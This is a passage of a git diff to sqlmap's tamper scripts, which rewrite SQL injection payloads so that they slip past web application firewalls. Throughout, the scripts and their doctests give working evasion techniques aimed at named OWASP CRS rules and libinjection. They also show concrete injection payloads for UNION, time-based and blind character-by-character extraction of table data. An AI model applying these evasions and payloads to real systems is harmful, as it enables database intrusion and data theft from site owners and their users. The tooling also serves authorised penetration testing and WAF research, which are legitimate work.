    <=LEN(()) THEN 1 ELSE 0 END) AS VARBINARY)>0x + + Requirement: + * MySQL or Microsoft SQL Server + + Notes: + * Bypasses anomaly-scoring WAFs (e.g. OWASP CRS) that score the function names + ORD/MID/ASCII/SUBSTRING/UNICODE (rule 942151) and the function-comparison shape (942190). + LEFT/RIGHT are not in those blocklists, so the cumulative score collapses (often to 0) while + the single-character, byte-ordered semantics of the bisection are preserved. + * On MySQL the character count runs over an ASCII copy of the value (one character, one byte), + because CHAR_LENGTH() is blacklisted by the very same rule, and the NULL wrapper IFNULL() is + rewritten to IF(). Counting bytes of the original instead would run past the end of a + multi-byte value, and a bare 'SELECT IF(' would be scored by rule 942170. + * MySQL 'BINARY' / SQL Server '... AS VARBINARY' force a byte (case- and accent-sensitive) + comparison, so extraction stays exact under a case-insensitive default collation. Both use a + native hex literal (0x), so nothing needs string-escaping. + * The character count is guarded (1 inside the string, 0 past its end), so a position beyond the + end yields RIGHT(...,0)='' which compares below every byte - the NULL terminator that stops + extraction, exactly like the original. A constant 1 would keep returning the last character + forever and never terminate. + + >>> tamper('1 AND ORD(MID((SELECT IFNULL(CAST(name AS NCHAR),0x20) FROM users ORDER BY id LIMIT 0,1),5,1))>71') + '1 AND RIGHT(LEFT((SELECT (IF(CAST(name AS NCHAR) IS NULL,0x20,CAST(name AS NCHAR))) FROM users ORDER BY id LIMIT 0,1),5),(5<=LENGTH(CONVERT((SELECT (IF(CAST(name AS NCHAR) IS NULL,0x20,CAST(name AS NCHAR))) FROM users ORDER BY id LIMIT 0,1) USING ascii))))>BINARY 0x47' + >>> tamper('1 AND ORD(MID((SELECT 1),1,1))>0') + '1 AND RIGHT(LEFT((SELECT 1),1),(1<=LENGTH(CONVERT((SELECT 1) USING ascii))))>BINARY 0x00' + >>> tamper('1 AND ORD(MID((SELECT 1),1,1)) IN (65,66,0)') + "1 AND BINARY RIGHT(LEFT((SELECT 1),1),(1<=LENGTH(CONVERT((SELECT 1) USING ascii)))) IN (0x41,0x42,'')" + >>> tamper('1 AND 5141=5141') + '1 AND 5141=5141' + >>> tamper('1 AND ORD(MID((SELECT 1),1,1))<65') + '1 AND RIGHT(LEFT((SELECT 1),1),(1<=LENGTH(CONVERT((SELECT 1) USING ascii))))>> tamper('1 AND UNICODE(SUBSTRING((SELECT TOP 1 name FROM users),3,1))>64') + '1 AND CAST(RIGHT(LEFT((SELECT TOP 1 name FROM users),3),CASE WHEN 3<=LEN((SELECT TOP 1 name FROM users)) THEN 1 ELSE 0 END) AS VARBINARY)>0x40' + """ + + if not payload: + return payload + + def _mysql(query, rest): + position, operator, value = rest.group(1), rest.group(2), int(rest.group(3)) + query = _unwrapIsnull(query) + return "RIGHT(LEFT(%s,%s),(%s<=LENGTH(CONVERT(%s USING ascii))))%sBINARY 0x%02x" % (query, position, position, query, operator, value) + + def _mysqlSet(query, rest): + # set-membership form of the same read ('... IN ()', used by the Huffman retrieval). + # ORD('') is 0, so a past-the-end position matches the ordinal 0, which is the empty string here + position = rest.group(1) + ordinals = [int(_) for _ in rest.group(2).split(',') if _.strip().isdigit()] + + if not ordinals or any(_ > 255 for _ in ordinals): # a byte comparison cannot represent those + return None + + query = _unwrapIsnull(query) + members = ",".join("''" if _ == 0 else "0x%02x" % _ for _ in ordinals) + return "BINARY RIGHT(LEFT(%s,%s),(%s<=LENGTH(CONVERT(%s USING ascii)))) IN (%s)" % (query, position, position, query, members) + + def _mssql(query, rest): + position, operator, value = rest.group(1), rest.group(2), int(rest.group(3)) + # shed sqlmap's SQL Server retrieval wrapper 'ISNULL(CAST( AS NVARCHAR()),CHAR())' -> '()': + # CHAR()/CAST are themselves scored by ASCII/SUBSTRING-class WAFs (unlike MySQL's 0x20 hex), so for a + # clean inner query the whole read goes function-free (NULLs then read as end-of-string) + query = re.sub(r"(?i)ISNULL\(CAST\((.+?) AS NVARCHAR\(\d+\)\),\s*CHAR\(\d+\)\)", r"(\1)", query) + return "CAST(RIGHT(LEFT(%s,%s),CASE WHEN %s<=LEN(%s) THEN 1 ELSE 0 END) AS VARBINARY)%s0x%02x" % (query, position, position, query, operator, value) + + comma_tail = r"\s*,\s*(\d+)\s*,\s*1\)\)\s*(>=|<=|>|<|=)\s*(\d+)" + set_tail = r"\s*,\s*(\d+)\s*,\s*1\)\)\s+IN\s*\(([\d,\s]+)\)" + + # also on payloads that are not single-character reads. Gated on MySQL, because IFNULL() is used + # by H2, HSQLDB, Cubrid and others too, and IF() is not a function there + if Backend.getIdentifiedDbms() == DBMS.MYSQL and re.search(r"(?i)IFNULL\(", payload): + payload = _unwrapIsnull(payload) + + retVal = _reshape(payload, r"(?i)ORD\(MID\(", set_tail, _mysqlSet) + retVal = _reshape(retVal, r"(?i)ORD\(MID\(", comma_tail, _mysql) + retVal = _reshape(retVal, r"(?i)(?:UNICODE|ASCII)\(SUBSTRING\(", comma_tail, _mssql) + return retVal diff --git a/tamper/bluecoat.py b/tamper/bluecoat.py index 3ca4b8d4a3c..7bfd30bd5cf 100644 --- a/tamper/bluecoat.py +++ b/tamper/bluecoat.py @@ -44,7 +44,7 @@ def process(match): if payload: retVal = re.sub(r"\b(?P[A-Z_]+)(?=[^\w(]|\Z)", process, retVal) - retVal = re.sub(r"\s*=\s*", " LIKE ", retVal) + retVal = re.sub(r"\s*(?!=])=(?!=)\s*", " LIKE ", retVal) # Note: skipping compound operators (e.g. >=, <=, !=) retVal = retVal.replace("%09 ", "%09") return retVal diff --git a/tamper/castprefix.py b/tamper/castprefix.py new file mode 100644 index 00000000000..2ae78ed9d7e --- /dev/null +++ b/tamper/castprefix.py @@ -0,0 +1,58 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import re + +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.HIGHEST + +def dependencies(): + pass + +def tamper(payload, **kwargs): + """ + Wraps a leading numeric value into a CAST() call (e.g. -1 UNION ... -> cast(-1 as decimal) UNION ...) + + Requirement: + * MySQL + * MariaDB + * PostgreSQL + * Microsoft SQL Server + + Tested against: + * MySQL 5.5.62, 5.7.44, 8.0.36, 8.0.46, 8.4.9, 9.4.0 + * Percona 8.0.46 + * MariaDB 10.7.8, 10.11.14, 11.4.12, 11.8.8, 12.0.2 + * PostgreSQL 13.23, 17.11 + * Microsoft SQL Server 2022 + + Notes: + * Useful to bypass web application firewalls, verified against ModSecurity v3 with the + OWASP CRS (paranoia level 1, blocking mode), where it takes the tautology, + boolean-based, error-based and time-based payloads to 0 anomaly points and they are + answered with HTTP 200 + * The OWASP CRS rule 942360 is anchored with '^[\\W\\d]+\\s*?', so it can only + match when the payload starts with non-word characters or digits. Starting it with a + letter instead makes the rule fail at the first position + * Rated benign by libinjection 4.0.0 as well, which is CRS rule 942100 + * 'decimal' is used as the target type because it is the one spelling accepted by all + of MySQL, MariaDB, PostgreSQL and Microsoft SQL Server ('signed' is MySQL only, + 'int' is rejected by MySQL), while the numeric value itself is left unchanged + * For MySQL only, tamper script 'odbcbrace' achieves the same with a shorter prefix + + >>> tamper('-1 UNION ALL SELECT NULL,NULL-- -') + 'cast(-1 as decimal) UNION ALL SELECT NULL,NULL-- -' + >>> tamper('1 AND SLEEP(5)') + 'cast(1 as decimal) AND SLEEP(5)' + >>> tamper('-4162 OR 1=1#') + 'cast(-4162 as decimal) OR 1=1#' + >>> tamper("' OR 1=1-- -") + "' OR 1=1-- -" + """ + + return re.sub(r"\A(?P[+-]?\d+)(?![\w.])", r"cast(\g as decimal)", payload) if payload else payload diff --git a/tamper/chardoubleencode.py b/tamper/chardoubleencode.py index 4213421cb72..5f4639f786d 100644 --- a/tamper/chardoubleencode.py +++ b/tamper/chardoubleencode.py @@ -9,7 +9,7 @@ from lib.core.enums import PRIORITY -__priority__ = PRIORITY.LOW +__priority__ = PRIORITY.LOWEST def dependencies(): pass diff --git a/tamper/charunicodeencode.py b/tamper/charunicodeencode.py index 3772b0b24dd..01144c91aa0 100644 --- a/tamper/charunicodeencode.py +++ b/tamper/charunicodeencode.py @@ -35,6 +35,8 @@ def tamper(payload, **kwargs): >>> tamper('SELECT FIELD%20FROM TABLE') '%u0053%u0045%u004C%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004C%u0044%u0020%u0046%u0052%u004F%u004D%u0020%u0054%u0041%u0042%u004C%u0045' + >>> tamper(u'\U0001F600') == '%uD83D%uDE00' + True """ retVal = payload @@ -48,7 +50,14 @@ def tamper(payload, **kwargs): retVal += "%%u00%s" % payload[i + 1:i + 3] i += 3 else: - retVal += '%%u%.4X' % ord(payload[i]) + ordinal = ord(payload[i]) + if ordinal > 0xFFFF: + # Note: %uXXXX is UTF-16 based, so a non-BMP char (e.g. an emoji) must be emitted + # as a surrogate pair - '%.4X' alone would produce an invalid 5-digit '%uXXXXX' + ordinal -= 0x10000 + retVal += "%%u%04X%%u%04X" % (0xD800 + (ordinal >> 10), 0xDC00 + (ordinal & 0x3FF)) + else: + retVal += '%%u%.4X' % ordinal i += 1 return retVal diff --git a/tamper/charunicodeescape.py b/tamper/charunicodeescape.py index 80b600f9ca0..30e1e433726 100644 --- a/tamper/charunicodeescape.py +++ b/tamper/charunicodeescape.py @@ -9,7 +9,7 @@ from lib.core.enums import PRIORITY -__priority__ = PRIORITY.NORMAL +__priority__ = PRIORITY.LOWEST def tamper(payload, **kwargs): """ @@ -33,7 +33,13 @@ def tamper(payload, **kwargs): retVal += "\\u00%s" % payload[i + 1:i + 3] i += 3 else: - retVal += '\\u%.4X' % ord(payload[i]) + ordinal = ord(payload[i]) + if ordinal > 0xFFFF: + # non-BMP: emit a UTF-16 surrogate pair (a bare 5-hex '\uXXXXX' is invalid) + ordinal -= 0x10000 + retVal += "\\u%04X\\u%04X" % (0xD800 + (ordinal >> 10), 0xDC00 + (ordinal & 0x3FF)) + else: + retVal += "\\u%04X" % ordinal i += 1 return retVal diff --git a/tamper/commalesslimit.py b/tamper/commalesslimit.py index 6361a7563ba..73630b02081 100644 --- a/tamper/commalesslimit.py +++ b/tamper/commalesslimit.py @@ -23,9 +23,19 @@ def tamper(payload, **kwargs): Requirement: * MySQL + * MariaDB + * SQLite Tested against: - * MySQL 5.0 and 5.5 + * MySQL 8.4.9 + * MariaDB 11.8.8 + * SQLite 3.45.1 + + Notes: + * Applicability is set by the 'LIMIT M, N' input form, which only MySQL, + MariaDB and SQLite accept. PostgreSQL rejects it (it takes solely the + 'LIMIT N OFFSET M' form this script produces), so the script never has + anything to rewrite there >>> tamper('LIMIT 2, 3') 'LIMIT 3 OFFSET 2' diff --git a/tamper/commentbeforeparentheses.py b/tamper/commentbeforeparentheses.py index a3fbf33b507..6d1c8d3e3d4 100644 --- a/tamper/commentbeforeparentheses.py +++ b/tamper/commentbeforeparentheses.py @@ -19,10 +19,12 @@ def tamper(payload, **kwargs): Prepends (inline) comment before parentheses (e.g. ( -> /**/() Tested against: - * Microsoft SQL Server - * MySQL - * Oracle - * PostgreSQL + * MySQL 8.4.9 + * MariaDB 11.8.8 + * PostgreSQL 16.11 + * SQLite 3.45.1 + * Microsoft SQL Server 2022 + * Oracle 23ai Notes: * Useful to bypass web application firewalls that block usage diff --git a/tamper/concat2concatws.py b/tamper/concat2concatws.py index 1aeca3098e2..fdfb1a49b79 100644 --- a/tamper/concat2concatws.py +++ b/tamper/concat2concatws.py @@ -6,6 +6,7 @@ """ import os +import re from lib.core.common import singleTimeWarnMessage from lib.core.enums import DBMS @@ -35,6 +36,6 @@ def tamper(payload, **kwargs): """ if payload: - payload = payload.replace("CONCAT(", "CONCAT_WS(MID(CHAR(0),0,0),") + payload = re.sub(r"(?i)(? $$abc$$) + + Requirement: + * PostgreSQL + + Tested against: + * PostgreSQL 9.x, 10-16 + + Notes: + * Useful to bypass filters that block, strip or escape the single-quote + character: dollar-quoting is quote-free and needs no escaping + * A literal already containing '$$' is left untouched + + >>> tamper("SELECT 'abc' FROM t WHERE x='def'") + 'SELECT $$abc$$ FROM t WHERE x=$$def$$' + """ + + retVal = payload + + if payload: + retVal = re.sub(r"'([^']*)'", lambda match: "$$%s$$" % match.group(1) if "$$" not in match.group(1) else match.group(0), payload) + + return retVal diff --git a/tamper/equaltolike.py b/tamper/equaltolike.py index 9552dcb7a7d..f61267aa468 100644 --- a/tamper/equaltolike.py +++ b/tamper/equaltolike.py @@ -18,15 +18,27 @@ def tamper(payload, **kwargs): """ Replaces all occurrences of operator equal ('=') with 'LIKE' counterpart + Requirement: + * MySQL + * MariaDB + * SQLite + * Microsoft SQL Server + * Oracle + Tested against: - * Microsoft SQL Server 2005 - * MySQL 4, 5.0 and 5.5 + * MySQL 8.4.9 + * MariaDB 11.8.8 + * SQLite 3.45.1 + * Microsoft SQL Server 2022 + * Oracle 23ai Notes: * Useful to bypass weak and bespoke web application firewalls that filter the equal character ('=') - * The LIKE operator is SQL standard. Hence, this tamper script - should work against all (?) databases + * NOT usable against PostgreSQL, which refuses to compare a numeric + operand with LIKE (e.g. '1 LIKE 1' raises 'operator does not exist: + integer ~~ integer'), unlike the engines listed above which coerce + the operands to text >>> tamper('SELECT * FROM users WHERE id=1') 'SELECT * FROM users WHERE id LIKE 1' @@ -35,6 +47,6 @@ def tamper(payload, **kwargs): retVal = payload if payload: - retVal = re.sub(r"\s*=\s*", " LIKE ", retVal) + retVal = re.sub(r"\s*(?!=])=(?!=)\s*", " LIKE ", retVal) # Note: skipping compound operators (e.g. >=, <=, !=) return retVal diff --git a/tamper/equaltorlike.py b/tamper/equaltorlike.py index 0bad97d1fdc..c617906a6e8 100644 --- a/tamper/equaltorlike.py +++ b/tamper/equaltorlike.py @@ -32,6 +32,6 @@ def tamper(payload, **kwargs): retVal = payload if payload: - retVal = re.sub(r"\s*=\s*", " RLIKE ", retVal) + retVal = re.sub(r"\s*(?!=])=(?!=)\s*", " RLIKE ", retVal) # Note: skipping compound operators (e.g. >=, <=, !=) return retVal diff --git a/tamper/escapequotes.py b/tamper/escapequotes.py index aba948a065f..0ccbc0cb537 100644 --- a/tamper/escapequotes.py +++ b/tamper/escapequotes.py @@ -20,4 +20,9 @@ def tamper(payload, **kwargs): '1\\\\" AND SLEEP(5)#' """ - return payload.replace("'", "\\'").replace('"', '\\"') + retVal = payload + + if payload: + retVal = payload.replace("'", "\\'").replace('"', '\\"') + + return retVal diff --git a/tamper/greatest.py b/tamper/greatest.py index 742b090c1b6..d50e94a81b1 100644 --- a/tamper/greatest.py +++ b/tamper/greatest.py @@ -18,16 +18,26 @@ def tamper(payload, **kwargs): """ Replaces greater than operator ('>') with 'GREATEST' counterpart + Requirement: + * MySQL + * MariaDB + * PostgreSQL + * Microsoft SQL Server >= 2022 + * Oracle + Tested against: - * MySQL 4, 5.0 and 5.5 - * Oracle 10g - * PostgreSQL 8.3, 8.4, 9.0 + * MySQL 8.4.9 + * MariaDB 11.8.8 + * PostgreSQL 16.11 + * Microsoft SQL Server 2022 + * Oracle 23ai Notes: * Useful to bypass weak and bespoke web application firewalls that filter the greater than character - * The GREATEST clause is a widespread SQL command. Hence, this - tamper script should work against majority of databases + * NOT usable against SQLite, which has no GREATEST() (it overloads + MAX() for the multi-argument case instead). Microsoft SQL Server + only gained GREATEST() in 2022 >>> tamper('1 AND A > B') '1 AND GREATEST(A,B+1)=A' diff --git a/tamper/halfversionedmorekeywords.py b/tamper/halfversionedmorekeywords.py index cb8dc946f7a..28c56d82c75 100644 --- a/tamper/halfversionedmorekeywords.py +++ b/tamper/halfversionedmorekeywords.py @@ -35,8 +35,8 @@ def tamper(payload, **kwargs): * Used during the ModSecurity SQL injection challenge, http://modsecurity.org/demo/challenge.html - >>> tamper("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa") - "value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa" + >>> tamper("1' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa") + "1'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa" """ def process(match): @@ -49,7 +49,7 @@ def process(match): retVal = payload if payload: - retVal = re.sub(r"(?<=\W)(?P[A-Za-z_]+)(?=\W|\Z)", process, retVal) + retVal = re.sub(r"(?:^|(?<=\W))(?P[A-Za-z_]+)(?=\W|\Z)", process, retVal) retVal = retVal.replace(" /*!0", "/*!0") return retVal diff --git a/tamper/hex2char.py b/tamper/hex2char.py index 89bcc32c8c6..f35709c12db 100644 --- a/tamper/hex2char.py +++ b/tamper/hex2char.py @@ -39,7 +39,7 @@ def tamper(payload, **kwargs): retVal = payload if payload: - for match in re.finditer(r"\b0x([0-9a-f]+)\b", retVal): + for match in re.finditer(r"(?i)\b0x([0-9a-f]+)\b", retVal): if len(match.group(1)) > 2: result = "CONCAT(%s)" % ','.join("CHAR(%d)" % _ for _ in getOrds(decodeHex(match.group(1)))) else: diff --git a/tamper/hexentities.py b/tamper/hexentities.py index 9b060673a04..b8f68131448 100644 --- a/tamper/hexentities.py +++ b/tamper/hexentities.py @@ -7,7 +7,7 @@ from lib.core.enums import PRIORITY -__priority__ = PRIORITY.LOW +__priority__ = PRIORITY.LOWEST def dependencies(): pass diff --git a/tamper/htmlencode.py b/tamper/htmlencode.py index ce09386be77..04810959a50 100644 --- a/tamper/htmlencode.py +++ b/tamper/htmlencode.py @@ -9,7 +9,7 @@ from lib.core.enums import PRIORITY -__priority__ = PRIORITY.LOW +__priority__ = PRIORITY.LOWEST def dependencies(): pass diff --git a/tamper/if2case.py b/tamper/if2case.py index e43c4f8f217..fe875f83d41 100644 --- a/tamper/if2case.py +++ b/tamper/if2case.py @@ -14,21 +14,52 @@ def dependencies(): pass +def _unwrap(expr): + """ + Strips only FULLY-wrapping outer parentheses (e.g. '(1=1)' -> '1=1'), leaving a bare function + call such as 'SLEEP(5)' intact - unlike str.strip('()') which would drop its trailing ')' + """ + + expr = expr.strip() + + while len(expr) > 1 and expr[0] == '(' and expr[-1] == ')': + depth = 0 + wrapper = True + + for i in xrange(len(expr)): + if expr[i] == '(': + depth += 1 + elif expr[i] == ')': + depth -= 1 + if depth == 0 and i != len(expr) - 1: # the opening '(' closes before the end + wrapper = False + break + + if not wrapper: + break + + expr = expr[1:-1].strip() + + return expr + def tamper(payload, **kwargs): """ Replaces instances like 'IF(A, B, C)' with 'CASE WHEN (A) THEN (B) ELSE (C) END' counterpart Requirement: * MySQL - * SQLite (possibly) - * SAP MaxDB (possibly) + * MariaDB Tested against: - * MySQL 5.0 and 5.5 + * MySQL 8.4.9 + * MariaDB 11.8.8 Notes: * Useful to bypass very weak and bespoke web application firewalls that filter the IF() functions + * The CASE replacement itself is standard SQL and runs anywhere, but the + 'IF(A, B, C)' input form is MySQL/MariaDB-only (SQLite, for one, has no + IF() function), so there is nothing to rewrite on other engines >>> tamper('IF(1, 2, 3)') 'CASE WHEN (1) THEN (2) ELSE (3) END' @@ -36,31 +67,35 @@ def tamper(payload, **kwargs): 'SELECT CASE WHEN (1=1) THEN (SELECT "foo") ELSE (NULL) END' """ - if payload and payload.find("IF") > -1: + if payload and payload.find("IF(") > -1: payload = payload.replace("()", REPLACEMENT_MARKER) while payload.find("IF(") > -1: index = payload.find("IF(") depth = 1 commas, end = [], None + quote, doublequote = False, False for i in xrange(index + len("IF("), len(payload)): - if depth == 1 and payload[i] == ',': - commas.append(i) - - elif depth == 1 and payload[i] == ')': - end = i - break - - elif payload[i] == '(': - depth += 1 - - elif payload[i] == ')': - depth -= 1 + if payload[i] == '\'' and (i == 0 or payload[i - 1] != '\\'): + quote = not quote + elif payload[i] == '"' and (i == 0 or payload[i - 1] != '\\'): + doublequote = not doublequote + + if not quote and not doublequote: + if depth == 1 and payload[i] == ',': + commas.append(i) + elif depth == 1 and payload[i] == ')': + end = i + break + elif payload[i] == '(': + depth += 1 + elif payload[i] == ')': + depth -= 1 if len(commas) == 2 and end: - a = payload[index + len("IF("):commas[0]].strip("()") - b = payload[commas[0] + 1:commas[1]].lstrip().strip("()") - c = payload[commas[1] + 1:end].lstrip().strip("()") + a = _unwrap(payload[index + len("IF("):commas[0]]) + b = _unwrap(payload[commas[0] + 1:commas[1]]) + c = _unwrap(payload[commas[1] + 1:end]) newVal = "CASE WHEN (%s) THEN (%s) ELSE (%s) END" % (a, b, c) payload = payload[:index] + newVal + payload[end + 1:] else: diff --git a/tamper/ifnull2casewhenisnull.py b/tamper/ifnull2casewhenisnull.py index 36c8eb9462d..e37f21787d1 100644 --- a/tamper/ifnull2casewhenisnull.py +++ b/tamper/ifnull2casewhenisnull.py @@ -19,39 +19,45 @@ def tamper(payload, **kwargs): Requirement: * MySQL - * SQLite (possibly) - * SAP MaxDB (possibly) + * MariaDB Tested against: - * MySQL 5.0 and 5.5 + * MySQL 8.4.9 + * MariaDB 11.8.8 Notes: * Useful to bypass very weak and bespoke web application firewalls that filter the IFNULL() functions + * NOT usable against SQLite, despite it having IFNULL(): the replacement + needs ISNULL(), which SQLite does not provide >>> tamper('IFNULL(1, 2)') 'CASE WHEN ISNULL(1) THEN (2) ELSE (1) END' """ - if payload and payload.find("IFNULL") > -1: + if payload and payload.find("IFNULL(") > -1: while payload.find("IFNULL(") > -1: index = payload.find("IFNULL(") depth = 1 comma, end = None, None + quote, doublequote = False, False for i in xrange(index + len("IFNULL("), len(payload)): - if depth == 1 and payload[i] == ',': - comma = i - - elif depth == 1 and payload[i] == ')': - end = i - break - - elif payload[i] == '(': - depth += 1 - - elif payload[i] == ')': - depth -= 1 + if payload[i] == '\'' and (i == 0 or payload[i - 1] != '\\'): + quote = not quote + elif payload[i] == '"' and (i == 0 or payload[i - 1] != '\\'): + doublequote = not doublequote + + if not quote and not doublequote: + if depth == 1 and payload[i] == ',': + comma = i + elif depth == 1 and payload[i] == ')': + end = i + break + elif payload[i] == '(': + depth += 1 + elif payload[i] == ')': + depth -= 1 if comma and end: _ = payload[index + len("IFNULL("):comma] diff --git a/tamper/ifnull2ifisnull.py b/tamper/ifnull2ifisnull.py index a6399f290dd..778489f0561 100644 --- a/tamper/ifnull2ifisnull.py +++ b/tamper/ifnull2ifisnull.py @@ -19,39 +19,45 @@ def tamper(payload, **kwargs): Requirement: * MySQL - * SQLite (possibly) - * SAP MaxDB (possibly) + * MariaDB Tested against: - * MySQL 5.0 and 5.5 + * MySQL 8.4.9 + * MariaDB 11.8.8 Notes: * Useful to bypass very weak and bespoke web application firewalls that filter the IFNULL() function + * NOT usable against SQLite, despite it having IFNULL(): the replacement + needs both IF() and ISNULL(), neither of which SQLite provides >>> tamper('IFNULL(1, 2)') 'IF(ISNULL(1),2,1)' """ - if payload and payload.find("IFNULL") > -1: + if payload and payload.find("IFNULL(") > -1: while payload.find("IFNULL(") > -1: index = payload.find("IFNULL(") depth = 1 comma, end = None, None + quote, doublequote = False, False for i in xrange(index + len("IFNULL("), len(payload)): - if depth == 1 and payload[i] == ',': - comma = i - - elif depth == 1 and payload[i] == ')': - end = i - break - - elif payload[i] == '(': - depth += 1 - - elif payload[i] == ')': - depth -= 1 + if payload[i] == '\'' and (i == 0 or payload[i - 1] != '\\'): + quote = not quote + elif payload[i] == '"' and (i == 0 or payload[i - 1] != '\\'): + doublequote = not doublequote + + if not quote and not doublequote: + if depth == 1 and payload[i] == ',': + comma = i + elif depth == 1 and payload[i] == ')': + end = i + break + elif payload[i] == '(': + depth += 1 + elif payload[i] == ')': + depth -= 1 if comma and end: _ = payload[index + len("IFNULL("):comma] diff --git a/tamper/infoschema2innodb.py b/tamper/infoschema2innodb.py new file mode 100644 index 00000000000..053242cc531 --- /dev/null +++ b/tamper/infoschema2innodb.py @@ -0,0 +1,50 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import re + +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.NORMAL + +def dependencies(): + pass + +def tamper(payload, **kwargs): + """ + Rewrites MySQL table-enumeration off 'information_schema.tables' onto the InnoDB statistics + table 'mysql.innodb_table_stats' (table_schema -> database_name), to dodge WAF rules that flag + the 'information_schema' name (e.g. OWASP CRS 942140 'common DB names') + + Requirement: + * MySQL + + Notes: + * 'information_schema' is a hard token for anomaly-scoring WAFs (CRS rule 942140), so table + enumeration is blocked even when the single-character read itself is not. 'mysql.innodb_table_stats' + exposes (database_name, table_name) for every InnoDB table and is NOT on those blocklists, so the + same enumeration passes. Pair with 'blindbinary' to also get the per-character read through. + * Only InnoDB tables are listed (no MyISAM/MEMORY tables, no views) and SELECT on the 'mysql' + schema is required (granted to root and most admin users). + * Column enumeration (information_schema.columns) has no such InnoDB equivalent; provide the + columns explicitly (-C) when behind such a WAF, or fall back to common-columns brute forcing. + + >>> tamper('SELECT table_name FROM information_schema.tables WHERE table_schema=0x6d6173746572 LIMIT 0,1') + 'SELECT table_name FROM mysql.innodb_table_stats WHERE database_name=0x6d6173746572 LIMIT 0,1' + >>> tamper('SELECT COUNT(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=0x61') + 'SELECT COUNT(table_name) FROM mysql.innodb_table_stats WHERE database_name=0x61' + >>> tamper('1 AND 1=1') + '1 AND 1=1' + """ + + retVal = payload + + if retVal and re.search(r"(?i)information_schema\.tables", retVal): + retVal = re.sub(r"(?i)information_schema\.tables", "mysql.innodb_table_stats", retVal) + retVal = re.sub(r"(?i)table_schema", "database_name", retVal) + + return retVal diff --git a/tamper/least.py b/tamper/least.py index a4f84a5a9a3..8a7a81bbea2 100644 --- a/tamper/least.py +++ b/tamper/least.py @@ -18,16 +18,26 @@ def tamper(payload, **kwargs): """ Replaces greater than operator ('>') with 'LEAST' counterpart + Requirement: + * MySQL + * MariaDB + * PostgreSQL + * Microsoft SQL Server >= 2022 + * Oracle + Tested against: - * MySQL 4, 5.0 and 5.5 - * Oracle 10g - * PostgreSQL 8.3, 8.4, 9.0 + * MySQL 8.4.9 + * MariaDB 11.8.8 + * PostgreSQL 16.11 + * Microsoft SQL Server 2022 + * Oracle 23ai Notes: * Useful to bypass weak and bespoke web application firewalls that filter the greater than character - * The LEAST clause is a widespread SQL command. Hence, this - tamper script should work against majority of databases + * NOT usable against SQLite, which has no LEAST() (it overloads + MIN() for the multi-argument case instead). Microsoft SQL Server + only gained LEAST() in 2022 >>> tamper('1 AND A > B') '1 AND LEAST(A,B+1)=B+1' diff --git a/tamper/lowercase.py b/tamper/lowercase.py index ab0fa2e9a0c..9cc73143217 100644 --- a/tamper/lowercase.py +++ b/tamper/lowercase.py @@ -20,10 +20,12 @@ def tamper(payload, **kwargs): Replaces each keyword character with lower case value (e.g. SELECT -> select) Tested against: - * Microsoft SQL Server 2005 - * MySQL 4, 5.0 and 5.5 - * Oracle 10g - * PostgreSQL 8.3, 8.4, 9.0 + * MySQL 8.4.9 + * MariaDB 11.8.8 + * PostgreSQL 16.11 + * SQLite 3.45.1 + * Microsoft SQL Server 2022 + * Oracle 23ai Notes: * Useful to bypass very weak and bespoke web application firewalls diff --git a/tamper/luanginxmore.py b/tamper/luanginxmore.py index 1d360db1005..eb86b8f97d9 100644 --- a/tamper/luanginxmore.py +++ b/tamper/luanginxmore.py @@ -17,6 +17,10 @@ __priority__ = PRIORITY.HIGHEST +# The 4.2M-parameter padding is arbitrary and serves only to overflow the WAF's parameter count, +# so it is identical every request - build it once (per delimiter) instead of ~11s/16MB per request. +_prepend = {} + def dependencies(): singleTimeWarnMessage("tamper script '%s' is only meant to be run on POST requests" % (os.path.basename(__file__).split(".")[0])) @@ -34,6 +38,9 @@ def tamper(payload, **kwargs): hints = kwargs.get("hints", {}) delimiter = kwargs.get("delimiter", DEFAULT_GET_POST_DELIMITER) - hints[HINT.PREPEND] = delimiter.join("%s=" % "".join(random.sample(string.ascii_letters + string.digits, 2)) for _ in xrange(4194304)) + if delimiter not in _prepend: + _prepend[delimiter] = delimiter.join("%s=" % "".join(random.sample(string.ascii_letters + string.digits, 2)) for _ in xrange(4194304)) + + hints[HINT.PREPEND] = _prepend[delimiter] return payload diff --git a/tamper/mid2leftright.py b/tamper/mid2leftright.py new file mode 100644 index 00000000000..fc013282c4b --- /dev/null +++ b/tamper/mid2leftright.py @@ -0,0 +1,68 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import os +import re + +from lib.core.common import singleTimeWarnMessage +from lib.core.enums import DBMS +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.HIGHEST + +def dependencies(): + singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) + +def tamper(payload, **kwargs): + """ + Replaces (MySQL) instances like 'MID(A, B, C)' with 'RIGHT(LEFT(A, B+C-1), C)' counterpart + + Requirement: + * MySQL + * MariaDB + + Tested against: + * MySQL 5.5.62, 5.7.44, 8.0.36, 8.0.46, 8.4.9, 9.4.0 + * Percona 8.0.46 + * MariaDB 